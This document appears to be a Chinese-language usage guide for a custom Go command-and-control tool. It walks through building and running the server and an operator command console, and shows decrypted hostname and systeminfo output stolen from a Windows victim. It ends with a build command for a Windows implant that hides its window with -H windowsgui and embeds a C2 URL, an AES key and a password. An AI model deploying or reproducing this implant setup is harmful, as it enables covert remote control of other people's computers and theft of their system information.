

- **控制端 (linux) :**

windows 下交叉编译:

```
go env -w CGO_ENABLED=0
```

```
go env -w GOOS=linux
```

```
go env -w GOARCH=amd64
```

c2server 编译 (默认监听端口 3001) :

```
go build main.go
```

运行:

```
(root@kali) - [/tmp]
# ./server
Running at port 3001 ...
```

```
(root@kali) - [/tmp]
# ./server
Running at port 3001 ...
写入的字节数是: 44
解密后:desktop-██████████\u██████████

=====
```

```
Running at port 3001 ...
写入的字节数是: 44
解密后:desktop-██████████\u██████████

=====
^[[A^[[A
写入的字节数是: 3288
解密后:
主机名:      DESKTOP-██████████
OS 名称:     Microsoft Windows 10 教育版
OS 版本:     10.0.10240 预览 Build 10240
OS 制造商:   Microsoft Corporation
OS 配置:     独立工作站
OS 构件类型: Multiprocessor Free
注册的所有人: ██████████
注册的组织:  ██████████
产品 ID:     ██████████
初始安装日期: 2021-01-01
系统启动时间: 2021-01-01
系统制造商:  VMware, Inc.
系统型号:    VMware-██████████
系统类型:    x64-based PC
处理器:      安装了 2 个处理器。
              [01]: Intel64-██████████
```

同目录下需要有“testValue.json”文件，如没有会提醒，创建一个空文件:

```
(root@kali) - [/tmp]
# ./server
Running at port 3001 ...
open testValue.json: no such file or directory
写入的字节数是: 24
解密后:
=====
open testValue.json: no such file or directory
open testValue.json: no such file or directory
open testValue.json: no such file or directory
open testValue.json: no such file or directory
open testValue.json: no such file or directory
open testValue.json: no such file or directory
open testValue.json: no such file or directory
^C
```

c2Command 编译:

go build main.go

运行 (command 只负责输入命令, 结果会显示到 server 端) :

```
(root@kali) - [/tmp]
# ./command
Please input command:
█
```

```
(root@kali) - [/tmp]
# ./command
Please input command:
whoami
█
```

● 被控端 (windows) :

c2client 编译 (隐藏运行窗口后台执行) :

go build -gcflags=-trimpath=\$GOPATH -ldflags "-w -s -H windowsgui -X

main.url=http://x.x.x.x:3001 -X main.aeskey=abcdefgh12345678 -X

```
main.pass=PassW0rd" main.go
```

运行:

双击或命令行执行